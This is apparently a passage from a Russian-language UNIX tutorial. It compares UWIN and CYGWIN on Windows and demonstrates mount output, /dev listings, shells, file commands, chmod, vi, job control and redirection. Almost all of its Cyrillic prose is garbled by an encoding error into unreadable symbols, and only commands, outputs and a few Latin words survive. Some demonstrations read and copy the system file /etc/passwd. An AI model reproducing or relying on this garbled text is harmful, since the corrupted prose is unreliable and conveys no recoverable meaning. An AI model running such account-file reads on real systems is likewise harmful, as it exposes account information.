㭮 048   telnet-ࢥ   UWIN



ࠡ稪 ਣ  GNU C/C++  ⫠稪 gdb,   㣮 㬥਩ -  롮. ਬ, perl, awk, tcl:  ᥣ  ᫨! ,  UWIN 室 <⪠> (wrapper)  Microsoft Visual C++,    ࠡ⪨ 室 ⥪⮢ UNIX-ਫ. 㬥, ⪮஢ ⥪  ⫠ 祬 㣮,  ⮬ ᫥  Soft-Ice,  騬   । UNIX.
,    ᮡ騥 ⠪ 짮⥫,  ६ 㦠 - 짮 묨 窠 UNIX,  㤮, 祬  . , UWIN  ᪠  ⮫쪮 UNIX,   Windows-ਫ, 㬥   ⮫쪮  ᪠,    ॥஬.
뭥 ⢨ ॥  ।⠢ ⠫,   - 䠩. ୥ ࠧ ॥   ⠫ "/reg"  㭪 049 ,  뢥  ࠭ ᮤন ⢨ ॥ "HKEY_CURRENT_USER\Network\Persistent\H".  ⨬  UWIN  ࠭稢.  ॥ ⠭  ࠭  ࠡ뢠 䠩, --   筮 ⪮ ᪥!




 UWIN    ॥஬ Windows 筮 ⠪,   䠩



  㯮ॡ ନ "" - UWIN 㫨 㥬 䠩 ⥬,    ந ࠧ ꥤ    , 䠩  ⠫ 䨧᪨ ᯮ  ࠧ ᪠   .  㬮砭 ୥ ⠫ 砥 ४,   ⠫஢ UWIN. ७ ᪠ <> ⠭ ⠫ "/C/",  ᮮ⢥⢥ "/A/", "/B/", "/D/", "/E"  ⠫ ᪮ (᫨  ). ⠫ Windows 㯥  "/C/Windows", ⠪  १ ⪨ ᥢ "/Win". ⥢  ⮬᪨  ⠪ ,    Windows,       ஭, .. "\\SERVER\C" ⠭ 뢠 "//SERVER/C".   㧭,  ᬮ஢         mount. ਬ,    १  ࠡ 룫拉 ⠪:
 C:\Program Files\UWIN on / type FAT32 (ic,text,grpid,suid,rw)
 C:\Program Files\Microsoft Visual Studio\vc98\ on /msdev type FAT32 (ic,text,grpid,suid,rw)
 A: on /A type FAT (ic,text,grpid,suid,rw)
 C: on /C type FAT32 (ic,text,grpid,suid,rw)
 D: on /D type FAT32 (ic,text,grpid,suid,rw)
 E: on /E type FAT32 (ic,text,grpid,suid,rw)
 F: on /F type FAT32 (ic,text,grpid,suid,rw)
 //SERVER/C on /H type FAT ()
 /usr/bin on /bin type LOFS (ic,text,grpid,suid,rw)
 /usr/lib on /lib type LOFS (ic,text,grpid,suid,rw)
 /usr/etc on /etc type LOFS (ic,text,grpid,suid,rw)
 /usr/dev on /dev type LOFS (ic,text,grpid,suid,rw)
 /C/WINDOWS on /win type FAT32 (ic,text,grpid,suid,rw)
 /C/WINDOWS/SYSTEM on /sys type FAT32 (ic,text,grpid,suid,rw)
 /usr/proc on /proc type PROC (ic,text,grpid,suid,rw)
 /usr/reg on /reg type REG (ic,text,grpid,suid,noexec,rw)
, 㥬 䠩 ⥬  ⮫쪮 - UWIN,  Windows-ਫ    ॢ  . ⮬, ⪠ 맢 notepad  ᬮ 䠫 /win/readme.txt ஢,  ࠢ ਠ  룫拉 ⠪: "/win/notepad C:\\windows\\readme.txt". 㡫஢ ᮩ  易⥫쭮,  ⨢ 砥 Windows ᮮ: " 㤠  䠩 C:windowsreadme.txt" (⠪    㭪 050):

㭮 050  맮 ਫ Windows   UNIX
 ந室 ⮬,   UNIX ( UWIN),   "\" १ࢨ஢  ࠢ騬 ᨬ (ਬ, "\t" 砥  ⠡樨,  "\n" - ७ ப),   ॡ ⮡ࠧ ᠬ ᨬ ⭮ , ਡ   㡫஢.
⠫ "/dev" ।祭  ࠢ ன⢠.  ᮤন   ᫥騬:
 $ ls /dev
 clipboard ptyp0 ptyq7 tty06 tty29 ttypb
 fd ptyp1 ptyq8 tty07 tty30 ttypc
 fd0 ptyp2 ptyq9 tty08 tty31 ttypd
 fd1 ptyp3 ptyqa tty09 tty32 ttype
 lp ptyp4 ptyqb tty10 tty33 ttypf
 lp0 ptyp5 ptyqc tty11 tty34 ttyq0
 lp1 ptyp6 ptyqd tty12 tty35 ttyq1
 lp2 ptyp7 ptyqe tty13 tty36 ttyq2
 mod0 ptyp8 ptyqf tty14 tty37 ttyq3
 mod1 ptyp9 rmt0 tty15 tty38 ttyq4
 mod2 ptypa rmt0n tty16 tty39 ttyq5
 mod3 ptypb rmt1 tty17 tty40 ttyq6
 mod4 ptypc rmt1n tty18 ttyp0 ttyq7
 mod5 ptypd stderr tty19 ttyp1 ttyq8
 mod6 ptype stdin tty20 ttyp2 ttyq9
 mod7 ptypf stdout tty21 ttyp3 ttyqa
 mt0 ptyq0 tty tty22 ttyp4 ttyqb
 mt0n ptyq1 tty00 tty23 ttyp5 ttyqc
 mt1 ptyq2 tty01 tty24 ttyp6 ttyqd
 mt1n ptyq3 tty02 tty25 ttyp7 ttyqe
 null ptyq4 tty03 tty26 ttyp8 ttyqf
 ptmx ptyq5 tty04 tty27 ttyp9 windows
 ptymx ptyq6 tty05 tty28 ttypa
 ᫮  clipboard 뢠   Windows.   UWIN          䠩; "fd" -  ਢ  ᪮, ० 祬    ࠡ 室 ᯮ짮  mount; "lp" ᨬ ࠫ ,   뢮 䠩  ਭ 筮 ᪮஢   ன⢮ "lp1" (LPT1)  "lp2" (LPT 2)  ᨬ  奬 祭 ("cp myfile lp1"). ᫥⥫ (.. COM) , 砥  "mod"   ᯮ짮  ࠢ  (ਬ "echo atz\natdp 02> mod1"); "mt" ஢뢠  SCSI Type Driver [86]  ᥣ   ᯨ᪥ ன,      ⠭   SCSI ஫. 祭 ⠫ ன  㧭  ਫ  UWIN 㬥樨.
ᠭ UWIN ⠭  , ᫨     ,     . ⥪୮  ⮨ ᥣ   ᪨ ⥪ POSIX.DLL  AST5x.DLL.  POSIX ॠ ⢮ ⥬ 맮 UNIX ⠪,  fork, exec, malloc; 䠪᪨ ࠧ  㠫쭮 UNIX.   , ࠢ ᠬ  ⢥砥  樨 -뢮.  AST5x ࠧ ஬ -  ᥣ   ⠭⭮ ⥪  "stdio", ᠭ  ⮬ ᮡ⥩ 樨 UNIX. ( 㭮 042)




㭮 042 ⥪  UWIN



 ⮬  UWIN-ਫ ࠧ 騩 ॣ , ᮤঠ騩  ⭮ ⠡  䠩  . (<UWIN maintains an open file table in a memory-mapped region, which is shared by all the currently active UWIN processes; this region is writable by all UWIN processes so that the appropriate information can be shared between them>). ( 㭮 006.txt)  ᫥,  UWIN ਫ ⥭樠쭮 ᯮᮡ <஭> 㣮,  묨 ᫮, ४⭮ ࠡ騩   ᪨ , ।⠢ 諥 ਢ஢   ⥬. ⮬, ᫨ UWIN ᯮ  ⢥ ࢥ୮ ,  ᫥ ᪠ ਫ ᮬ⥫쭮 ந宦.




㭮 006. 塞  UWIN-ਫ



 ⠫쭮 , UWIN ਫ 祬  ⫨   ᯮ塞 䠩 Windows   ᪠ ।⢥  Explorer,  । UIWN.




⨯ CYGWIN



㣮   UINX - CYGWIN   ⥫ ⭮ 㯠 UWIN,  ࠭   室묨 ⥪⠬ , ࠧ㬥, ᮫⭮ ᯫ⥭.   㬥஢  ⠭  ⭮ 짮⥫,  ᠬ ࠧ   祬.
⢥, CYGWIN    UNIX,  ᥣ   㭪権, 饭    ⥪ "cygwin1.dll"  騩 ७ UNIX-ਫ  । Windows,.  祭 몮 ࠡ   窠 , 筮, ᣮ,   祭 ⮭⥩ UNIX -  .  ⢥ত ⮣  ਢ १ ࠡ  "cat /etc/passwd [87]"  UWIN  CYGWIN:


 UWIN

 $ cat /etc/passwd

 root:x:0:13:Built-in account/domain:/tmp:/usr/bin/ksh

 telnetd:x:1:1:telnetd:/:/dev/null

 CYGWIN

 $ cat /etc/passwd

 /etc/passwd: No such file or directory




 CYGWIN   䠩 "/etc/passwd"    㫨 ⥬ ᭮ UNIX. 筮,   蠥  ᮮ⢥騥 楤 ᠬ⥫쭮,     ᯮ짮 ⮢ UWIN? ,  UWIN 砫쭮 室   ⨫  祪, ⮬᪨ ⠭ ணࠬ ⠫樨. ⨢ , 짮⥫ CYGWIN 㦤 ᠬ⥫쭮 ᪠稢 室   ࢥ, ன ࠢ  訡,  ਢ騥   ࠡᯮᮡ  ( 室 ⥪ 㯭).
 ᥣ 砥 ⢨  CYGWIN 堭 প . ,   ᠭ ,  ⭮   ॠ樨 telnet-ࢥ  CYGWIN.  ⠫쭮  ⥪   ஢ 筮 .    UWIN ᯮ ࠧ塞    ਫ (":creates shared memory areas: used to keep track of open file descriptors and assist fork and exec, among other purposes" [88]).  fork ᢮  ᮧ ਮ⠭   ᫥騬 ஢ ᥣ  (":creates a suspended child process using the Win32 CreateProcess call; next: fills in the child's.data and.bss sections by copying from its own address space into the suspended child's address space").  믮 exec ਢ  ࠧ     䨪஢  쭮 ⠡  -":exec present their own set of difficulties. Because there is no way to do an actual exec under Win32, Cygwin has to invent its own Process IDs"
⮬,  筮 ந  UNIX   ࠪ᪨    ⫨ 믠   ਪ ⨫. ந뢠  ⮬ , CYGWIN ⥫쭮 ॢ室 UWIN  ந⥫쭮, ᮡ   -뢮.  ᮦ, UWIN ᫨誮  頥  ࠭  ࠡ  "Mortal Commander" ॢ頥  ᯫ譮 祭 [89].  ⥬,  쭮 室  樨  ਬ஢, ਢ  ⮩ .
 ᮦ, CYGWIN  ন  ,   ⬥  ᪮࡭ 䠪  㬥樨 [90] - "The current release includes all POSIX.1/90 calls except for setuid and mkfifo, all ANSI C standard calls, and many common BSD and SVR4 services including Berkeley sockets".  १ ⮣,  ணࠬ, ࠡ騥  IP ⮪   ஢ (襩   ⠪  㦨 ⥬),  ᬮ ४⭮ 믮  । CYGWIN.
,  ᯮᮡ  - 來, ਢ筮  ᢥ   ᢥ⮬,  .   ⨬, ⮡  ।⠢ 﫨;  ,  ॡ ⮣, , ஦ . "   㦥 ⭮!" - 稬 .   室 騩  뢠   ।⠢  - ᫮ 㦭 .
 -








 蠣  UNIX (  稭)


O  ⮩ :
O 窨 -   ⠪?
O ⪠  祪 UNIX
O  㧭  窠 믮   
O  㧭,  窨 ⠭  
O  ᬮ ᯨ᮪ 䠩
O   ࠢ 㯠
O  ᬥ ⥪ ४
O  ᮧ  㤠 ⠫
O   ஢ 䠩
O  ᬮ ᮤন 䠩
O ஢ 䠩   । vi
O  믮 ᮢ
O  㧭 ᯨ᮪ 믮塞 ᮢ  ⥬
O   <ਡ> 
O  짮 ࠢ 㪮⢮ man







-, , 廊,  窨!
,   !
  - 㪢   窨,
 ⭮  .
਩ ७ <  >

 ࠡ  UNIX  祣 ᪮  ᢮ ⥩訥 樨   祭  , ᮡ ᫨ ᯮ짮 ⮫ .  , ⪠   뢠  室,  ᫨誮  - ⠪  ,   ᮢᥬ 祣. ஡, 롥    ⪠, ࠧᠭ  ਭ! ⮬,  <孨 ⥢ ⠪> 祭 ⪠ ,    UNIX ᤥ ᢮  蠣.   祡   ⥭, ,  ࠩ ,  ᭮  UNIX, ᯮ㥬  ⮩ .
 UNIX  ⢮ ࠪ⨢ 祪  ࠧ 짮⥫᪨ 䥩ᮬ -  Mortal Commander ( Norton Commander)  ᪨ ।  Windows.   稭騬 ᢮   UNIX,  뢠 ࠩ 㤮묨  㤠 ࠢ ஬.  ⥪⮢ Mortal Commander ⨬ ମ   .   ᪨ 窠 ᯮ    室, - ⭠ ࠡ    稨 ன 쭮 ! ⮬, ਤ 㯨 묨 㤮⢠, , ⠢  , ࠧਢ  ஬ 몮 ⥪⮢ .  饭  UNIX  祬-  ࠡ  ஬ MS-DOS "command.com". 㬥,    㣨,   楫 ਭ樯  .
 UNIX ( ⫨稥  MS-DOS)  ⠭⭮  窨, ⮬ ࢠ  짮⥫ - ᭨,   ⠭  ⥬,   ୠ⨢ 窨 㯭.
  ᯮ㥬    窥 ᮤন  ६ $SHELL  뢥   ࠭     "echo $SHELL" (ᮡ ॣ).   ࠡ   ᫥騬:
  UWIN
 echo $SHELL
 /usr/bin/ksh
  CYGWIN
 echo $SHELL
 /bin/sh
  ⠡ 3  ।,   窠 饭 (筮,  ᫮,        ᯮ塞 䠩).
- 䠩  窨 
-bash ᮢ襭⢮ 窠 ୠ 
-csh 窠  
-ksh 窠 ୠ 
-sh 窠 ୠ 
-tcsh 窠 TC 



 3  ᯮ塞 䠩   祪



 ᫮  ᮡ  窨. ࢮ  ᢥ  窠 ୠ, 䠪᪨ ।⠢ ᮡ  ணࠬ஢, ਥ஢  ࠢ ᠬ, -뢮  樨 蠡 ᪠.  ࠪ⨢ ⢨  짮⥫    ।ᬠਢ,   ࠡ ᢮  ᠭ ࠢ ணࠬ - ਯ⮢, ࠡ뢠 窮.
ࢠ ࠪ⨢ 窠, 稢  <>,   㭨 ફ.    ୮,   ⢮ ⪮  ᮤঠ  訡, ⮬  ᭨  ୠ ⠪   ᬮ. ஡  ᮢ⭮ ⢮ 砫   ᮢ⨬  몮  祪.  ਢ   믮 ਯ⮢, ᠭ   窨, 㣮 窮.
 ⮬   室 ⥪⮢ "" 맢   ᮢ⨬  ᮡ .         (, ਬ, "TC",- ᢮ࠧ ਤ ""  "TENEX" - 樮 ⥬ PDP-10).
⢮  ᪨ 窨.   襩 ୮ 짮 ⢮७, ᮧ  ୮, ꥤ襥  ᥡ 訥  ᢮ ।⢥.  AT amp;T ࠭﫠    樮 ⥬ System V,  ⠭⭮ -.
⠭ - ,      ⥫,  ᪮ 窠 ୠ 뫠  ९ᠭ  ࠬ ஥ GNU, 稢  bash - Borne Again Shell. ᫥ ᮢ襭⢮  ७  । LINUX ᤥ bash ᠬ ୮ 窮  ६  த,      । 짮 C-Shell  ਣ쭮 窮 ୠ.  ⮬ , -०  猪 ⮪ 㧨⮢,  ᢮ ᮡ⢥ 窨.
   ࠧ  窠  ⮫ ⢥   ࠦ  ⥩ ,   ਬ, ਢ  , ।祭  窨 ୠ   ᯥ譮 믮  㣨 窠  ࠭ (  ।). ⮬,  ,  窨 ⠭ ஬  設.  ⮬   "cat /etc/shells", १ ࠡ ன  ᢥ⠭  UWIN 룫廊 ᫥騬 ࠧ:
 cat /etc/shells
 /usr/bin/ksh
 /usr/bin/sh
 /usr/bin/tcsh
 /usr/bin/csh
 /bin/sh
 /bin/ksh
 /bin/csh
 /bin/tcsh
   , ࠢ   (,    ⥬),   ப.    筮   exit.  ⢥ ७஢筮 ࠦ    㯭 窨  ।. ( ᥣ  "/usr/bin"  "/bin" 㪠뢠      ⠫, ⮬   ).
 $ echo $SHELL
 /usr/bin/ksh
 $ /usr/bin/sh
 # echo $SHELL
 /usr/bin/ksh
 # exit
 $ /usr/bin/tcsh
 # echo $SHELL
 /usr/bin/ksh
 # exit
 $ /usr/bin/csh
 %echo $SHELL
 /usr/bin/ksh
 %exit
 ᬮ ᮤন ४਩    "command.com" (MS-DOS) ।ᬮ७ ஥  "dir",  UNIX-窨  ন ⠪ .  ⮣ 짮⥫ ।⠢  맢  ⨫, 믮  室 ࠡ. 筮  UNIX  ⮡ࠦ ᮤন ⠫ ᯮ ணࠬ 'ls', 室  ⠫ "/bin". , 짮⥫ CYGWIN ० 祬 ᬮ  ᯮ짮,  ᪠  ࢥ 娢 fileutils.tar.gz -    ⠢   室.
맮  ࠬ஢ 뢮  ࠭ ᮤন ⥪饣 ⠫,    ७    - "ls /" [91]
 ls /
 A E proc
 base.bat etc reg
 baseserviceslink.sh F sys
 bin H tmp
 C home usr
 D lib var
 dev linka win
,  室  ⠫ "/etc"  ।    ⢥ ࠬ  'ls':
 $ ls /etc
 crontab inetdconfig.sh passwd.add traceit
 in.ftpd init.exe priv.exe tracer.exe
 in.rlogind login.allow profile ucs.exe
 in.rshd login.deny rc ums.exe
 in.telnetd mailx.rc services
 inetd.conf mkpasswd.exe shells
 inetd.exe passwd stop_uwin
筮 , ন ᨬ-, -  <窠>  <>.  UNIX,  ⫨稥  MS-DOS,   [char set],    ᬮ ஡.   砫 譥 ᯮ 祭 "*"  "?".  "*" 砥  ⢮  ᨬ ( ⮥),  "?" ᥣ  ⮩ ᨬ. ⮬, "ls x*" 뢥  ࠭  䠩 ( ⠫), 稭騥  㪢 'x',  "ls?tmp"-  '_tmp','$tmp'  ⠪ .
筮 , ६  ⠪ 蠡 뢠 筮, ਬ,  ,  ॡ  ᯨ᮪ 䠩, 稭   㪢 'i',   㪢 'p'?  MS-DOS  ⨬ 諮  ࠢ   室, ᫥⥫쭮 ⤠  'dir i*'  'dir p*'.  ,  UNIX  ⮩  ஡  ࠢ   ! ਬ, ⠪:
 $ ls /etc/[ip]*
 /etc/in.ftpd /etc/inetd.conf /etc/passwd
 /etc/in.rlogind /etc/inetd.exe /etc/passwd.add
 /etc/in.rshd /etc/inetdconfig.sh /etc/priv.exe
 /etc/in.telnetd /etc/init.exe /etc/profile
  , ᫨ 室 ⮡ࠧ  䠩,        ? 㦥 ਤ  ⮬⥫쭮 ⥫ ᫥⥫쭮 'ls *[0123456789]*' [92]?   !  室 ࢠ   ᫥騬 ࠧ: '[0-9]', ਬ,  ⠪:
 $ls /etc/*[0-9]*
 /etc/k1y /etc/mkss2old /etc/track7
᫨ ⠪ ଠ樨  筮  ॡ 㧭, ᪠, ࠢ 㯠  䠩,    ६ ᫥ ,  ਤ ᯮ짮 箬 '-l' (쪠 ⨭᪠ 㪢 L,  ⠩  楩). ਬ, ⠪:
 ls -l /etc
 -rwxr-r- 1 root Everyone 46 Feb 16 1999 crontab
 -rwxr-r- 1 root Everyone 19968 Feb 17 1999 mkpasswd.exe
 drwxr-r- 2 root Everyone 512 Jul 2 16:52 mydir
 -rwxr-r- 1 root Everyone 119 Jul 1 12:45 passwd
 lrwxr-r- 1 root Everyone 20 Jun 4 03:10 services -> /C/WINDOWS//services
 -rwxr-r- 1 root Everyone 88 Feb 17 1999 shells
 -rwxr-r- 1 root Everyone 73216 Feb 2 07:25 ums.exe
ࢠ  ᮮ頥 ࠢ 㯠.  ⮨   ᨬ 㯯, । ࠢ 㯠 ᮧ⥫ (   䠩),  㯯   ⠫ 짮⥫.  㯯  ᢮ । ⮨   ਡ⮢, ࠧ ⥭ (r),  (w)  ᯮ (x).




-஢ 䠩 ਡ⮢



  ,   UNIX 믮塞 䠩 ᯮ  ਡ 'x',     ७     . 筮 設⢮ 䠩  ⠫  ᫥騥 ࠢ 㯠 'rwxr-r-r', .. ᮧ⥫ 䠩      㣮,  ᥬ ⠫ ࠧ蠥 ,   ஢  ᪠.
  ࠢ 㯠 ।ᬮ७ ⨫ chmod (᮪饭  Change Mode).  ⮣, ⮡ ⢨ 묥 䥪, 室 㪠 㯯 짮⥫ ('u' -  , 'g' -  童  㯯, 'o' -     'a'  -, .. 'u'+'g'+'o' ६), ⥬ 稥 ( '+')  ⢨ ( '-') ॡ㥬 ਡ. ਬ,  ᮡ⢥ 䠩  <㦮 >     'chmod g-r,o-r *'.
४ਨ ⫨   䠩  饬 । ᨬ 'd' (ᬮ 㭮 009.txt)




-४ਨ  UNIX ⫨  䠩 稥 ਡ 'd'



  ᮮ頥 ⢮ ᥢ,  묨 䠩 (४) ⥭ ⥬. ਬ,  ⠫ '/bin'  ᫮ ࠢ , ᪮ 筮 '/bin'  '/usr/bin' 뫠      ४.
 drwxrwxrwx 2 root Everyone 512 Jun 4 00:50 bin
 drwxrwxrwx 3 root Everyone 512 Jun 4 00:51 dev
 drwxrwxrwx 16 root Everyone 512 Jun 4 00:51 lib
⥬    䠩 (  ਬ 'root')  㯯,  ன  ਭ ('Everyone').  몠 ப ࠧ, ६ ᮧ   䠩 (४ਨ).  ⠫쭠 ଠ  ࠡ  'ls' ᮤন  㪮⢥ 'man'    祭    'man ls'.
३  㣮 ⠫,    MS-DOS,     'cd'. ⮨ ,  UNIX   ᪠, ⮬ ᯥ樠쭮       -  樨 筮  'cd'. ਬ:


 $ cd /

 $ ls

 A E proc

 base.bat etc reg

 baseserviceslink.sh F sys

 bin H tmp

 C home usr

 D lib var

 dev linka win

 $ cd /A

 $ ls

 tpna.arj

 $ cd /var

 $ ls

 adm tmp uninstall




 ᮧ  ⠫ ।祭  'mkdir' (Make Directory). 맮 'mkdir myname' ᮧ  ⥪饬 ⠫  ४ 'myname'.   ⪠ ᮧ ᪮쪮    㣠 ⠫ ஢, ᫨  㪠  '-p'. ਬ:


 $ mkdir temp

 $ cd temp

 $ ls

 $ mkdir 1/2/3

 mkdir: 1/2/3: [No such file or directory]

 $ mkdir -p 1/2/3

 $ ls

 1

 $ ls 1

 2

 $ ls 1/2

 3




,  , -  UNIX     䠩,    '-p' ᮧ ४  ⠪ . , 'mkdir'  ᮧ   ⠫  맮. ਬ:


 $ mkdir 1 2 3

 $ ls

 1 2 3




 㦭 ⠫   'rm'.  㬮砭 㤠  䠩,   㭨⮦ ४਩ 室  ⥫  '-d'. ᫨ 㤠塞 ⠫ ᮤন  ४ਨ,   㤠 室  ᠬ <>    ᯮ짮 箬 '-r', ४ᨢ 騬   ࠧ. ,  㭨⮦ ᮧ  ।饬 ਬ ⠫ '/1/2/3'  ᯮ짮 ᫥騬 :
 rm -d /1/2/3
 rm -d /1/2
 rm -d /1
   ᥣ :
 rm -d -r /1
  ஢ 䠩  UNIX ।ᬮ७ ⨫ 'cp' -  'copy'  MS-DOS. ਬ, ᪮஢ "/etc/passwd"  ᢮ ᮡ⢥ ⠫  : "cp /etc/passwd /home",  ᬮ  ᮤন  ⨫ 'cat'. ਬ:
 $ cp /etc/passwd /home
 $ cat /home/passwd
 root:x:0:13:Built-in account for administering the computer/domain:/tmp:/usr/bin/ksh
 telnetd:x:1:1:telnetd:/:/dev/null
 室 ᤥ 讥 ᭥. 砫쭮 'cat' ࠧࠡ뢠  ꥤ ᪮쪨 䠩  ,   ⢥ 楫 䠩 ᯮ짮 ⠭ 뢮, ⮬ 짮 ⨫⮩ 室 ਡ⥫쭮 ⠪ "cat file1 file2 file 3> file123".  ">" ࠡ뢠 窮, 饩 ⠭ 뢮 㪠 䠩. ᫨  楫 䠩  㪠뢠, ⨫ ᫥⥫쭮 뢮 ᮤন ᫥ 䠩  ࠭.
筮,     ᯮᮡ ᬮ ᮤন 䠩   ।஢. ਬ, । 'vi' [93].  ᪠ ⨫ UNIX  맢 ᬥ  짮⥫ MS-DOS/Windows, ਢ  㠫쭮 ।஢, ᪮ । 'vi' ࠢ ᢮ ᮡ⢥  몮,   ண   ࠭ 䠩    vi!
砫  讪,  , ᢮  vi, 稭  ᪮쪮    ࠭稢 㠫 䥩.  㣮 ஭, edit.com  ॡ  祭 - ᥫ  ࠡ⠩,    । vi   栬,  祭    ६ ਤ ஢  ⠭ 㬥樨,  訬 뢠  ᮡ⢥  ⥪.
,  ⠪!   襬 ᬮ७ ⪨ 稢 २⢠.   ࠢ  ⥬   ⥫쭮 ᪮ ।஢ ⥪, ⮨ ᢮   ᮢ襭⢥. 筮,  ࠧ <   , 祬   >, ,  筮 , ६, 祭  ᢮ vi,  ॢ  㢥祭 ந⥫쭮 ,   設 ६ ᥣ  ⠪ 筮,  ६ ᨬ쭮  ⢥ ⥫쭮 짮⥫.
⢨⥫쭮,  UNIX   ਢ 짮⥫ Windows ।,  롮 ⮣   - 筮  . 㬥,  ᫮,  ࠭ । ⠭  ⥬.  ᮦ,   ࢥ஢   ᢮ 짮⥫ ࠧࠧ, ⥬ ,  ।⠢ ⨭ ᯫ⭮. ᪨  易  ஬   ⠭   ।,  ࠪ᪨  뢠 ᫮ 祭 vi,  ⠢  ᥬ UNIX-ᮢ⨬묨 ⥬,  ᥣ 㯥 (᫨, 筮,  㤠 ஬).
⮬  모 ࠡ  ।஬ vi   ,    -  , १ ஥ ६   訬  ।஬!
 ⮣ ⮡ 짮 vi,   易⥫쭮 ⠭  ᢮  樮 ⥬ UNIX     ஢, - vi  ஦ ᫥ ,    ᯥ譮 ७ᥭ  । Windows 9x/Windows NT   MS-DOS.  ୮  vim, ஢   Amiga, Atari, Mac System 7, UNIX, MS-DOS, Windows, ᫮ ࠪ᪨     ॠ vim. ⠥ ,  vim ᢮ ࠭   室묨 ⥪⠬  室, ਬ,  ஬ ଠ᪮ ftp ࢥ - ftp://ftp.fu-berlin.de/misc/editors/vim,   -᪥, ਫ  ,  饭   ᮯ஢⥫쭮 㬥樥  ४ "/FILES/vim".
ࠧ  ᫥ ᪠ vi 㤥 룫拉 ਡ⥫쭮 ⠪,    㭪 054.bmp (  砥 vi  襭  ࠬ஬ hello  ᮧ  䠩).




譨  । vim -  vi, 饭  樮 ⥬ Windows



 "~" (⨫줠) 㪠뢠   䠩   ⢨⥫쭮   䠩. ᫨   ⥪ "Hello, World!"  ࠭ 祣  ,  vi ⢥ ࠧࠦ ਪ.
  ⮬,   vi   ० -  ०  ० ⠢.   ०  ६   ࠭, ᪠   ࠣ ⥪, ࠭  㦠 䠩  ᪠ - ᫮  ।஬,  ० ⠢ ।祭   ᠬ ⥪.
ࠧ  ᫥ ᪠ vi 뢠   ०  ४  ० ⠢ , ਬ,   <i>.     ࠭, ६ ᪫栭 "Hello, Word!"  -  ⮬ .  室 ࠭ 䠩  .  ? ० 室  ࠧ  <Esc>  ४祭   ०, ⥬  ᫥ ᫥⥫쭮 <:> <q> <w> <Enter>.
: ᫮  vi,   ᠬ    ।! 㧨 ⮫쪮  ᮧ  ।, 㪠     ப,  ஡㥬 ।஢ ப -  "Hello, World!"  "Hello, my world!". 砫 ⠥     ࠢ,   蠬-५,     ଠ  ࠢ쭮 . 襭쪮 砫, - 祬  ⮣ ࠢ ஬?
-  ⮨   - ᪫  筮 ࠥ ⠪, ⮡ 짮⥫  ࠡ   祬  뢠,      ࠤ , ਢ ⠫騥 vi  ᢮ 設. ⮬,  直 砩  ,   <h>   ० ६頥     , <l> - ࠢ,  <j>  <k> ᮮ⢥⢥   .
  ࠧ  <l>  ᯮ㥬  <6><l> (筮   ।   ।뢠    騥 ⢮ ࠧ).  ६ 'my', ⮬᪨ ࠧ ⠫ ᨬ,      㪢 'W'      ०  <Esc>  稬 ० ⠢ ᨬ, ⨥ <r>.   ᯮ㥬  <~> (⨫줠)  ஢ ॣ ᨬ.
筮,     ⢥ত,  짮 vi ,      祭  묨 ।⠢塞묨 ﬨ, - vi ন  , ,  ࠧ 堭 蠡 ᪠,  ᪠  窨  室  ।, ᫮  㬥 㪠 ᯮᮡ ⢮ 㤥.     祡  vi, ⮬,  ন   , ୥  ᢮ UNIX.
த஢ 筮 UNIX    vi -  , ᫨,  室  ।, ॡ 믮 - ⢨?  Windows 筮 饫 誮    㣮 ணࠬ   <Alt>-<Tab>,  ࠧࠡ稪 UNIX 諨  㣮 .
᫨  <Ctrl-Z>,  믮  vi ਮ⠭,  ந 室  .   ⮬,  'vi'     'ps', ⮡ࠦ ᯨ᮪  ᮢ  ⥬ ( vi.exe 뤥  ⮬):


 $ ps

 PID TT TIME COMMAND

 148799 tty10 0 vi.exe

 150872 tty10 0 ps.exe

 320924 tty10 0 ksh.exe




  䨪 ᮢ.  䨪    <ਡ>  'kill'   ।  ⨫⮩ 'fg'. ਬ, ⠪: "fg 148799"  ⠪ - "fg %1",  "%1"  浪    ᯨ᪥. ᨬ  ᯮᮡ ᪠ "fg", । vi    ࠭.   ࠧ <Ctrl-Z>  ᯮ㥬  kill  㡨  - "kill 148799"  "kill %1" -  ਠ  ,  ன  ⢥ .
  㯨, ᫨  vi ॡ ஢  ᫮ 蠡  ᥬ ⥪, 믮騩  ਫ筮 ⥫ ஬⮪ ६,  祭 ண 祣  ⠥,  ᨤ  㯮 﫨  ࠭?
  室 䮭 믮 .  ⮬ 砥  ਮ ,  ࠭ ।⠢ 㣮 ਫ. ॢ ਫ  䮭 ०   "bg", ᪠ 筮 ⠪    "fg" (, , ਣ  饭   䮭  ଠ ०). 設⢮ 祪 ᯮ ᨬ ' amp;', ᯮ    ப,  ⮬᪨ ᪠ ਫ  䮭 ०. ਬ:



$ vi amp;

 [1] 141008

 $ ps

 PID TT TIME COMMAND

 87458 tty10 0 ps.exe

 141008 tty10 0 vi.exe

 320924 tty10 0 ksh.exe

 [1] + Stopped (SIGTTIN) vi amp;

 $




 ⮬ ⪮   UNIX   祭.  ண  ⠫   㦭 ணࠬ  砫   筮. 筮,     室 ਮ⥭ ࠢ 㪮  祡  UNIX,  ⢮  ଠ樨     ஥ ࠢ筮 ⥬, 㯭  ᬮ   ⨫ 'man'.
     , 㪠     ப, ਬ, ⠪ "man ls" ( 㭮 055.bmp)




 ஥ ࠢ筮 ⥬ man




ன⢮   ७ࠢ -뢮 (  稭)



O  ⮩ :
O 楯 -뢮
O ७ࠢ -뢮
O ᯮ짮 ७ࠢ -뢮  ⠪
O ன⢮ 
O প  MS-DOS
O ᯮ짮   ⠪


 楯樨 -뢮  UNIX ॡ   ᠬ ⠪, ⠪   ᯥ譮   .
 ணࠬ  ᬠਢ  < 騪>  室  室.  ࠢ  設⢠ ᮫ ਫ MS-DOS  Windows 9x/Windows NT,  ᪨ ਫ  १⮢ ᢮ ࠡ 뢮 ⢮ ᯮ⥫쭮 ଠ樨,   ।  뢠 ᯮ묨. ਬ,  ࢥ ਫ    ஢   짮⥫, 뫠  ਭ ⮫쪮  ଠ,     ᨢ 䥩    ᪮ ஭.
ࠡ稪 UNIX ⥫쭮 稫 ᠭ  ணࠬ, 㭨஢ ⥬ -뢮.   ன⢮ ⠫   筮 ⠪,   䠩,  ⭮     . ⮬, १ ࠡ  ணࠬ   ᯮ짮 㣮  뢥  ࠭.
ਬ, ணࠬ ஢ 䠩 "copy" (MS-DOS)   㦥 ᯮ짮  ᮧ  䠩  뢮  ᮤন  ࠭.  ⮣ 筮 ᯮ,   ன  ନ (ꥤ  MS-DOS  ன⢥   'con')   --    䠩. 뢠  ⢥ত ᫥騩 ᯥਬ:


 copy con myfile

 Hello, World!

 ^Z

 1 䠩 ᪮஢



 copy myfile con

 Hello, World!

 1 䠩 ᪮஢




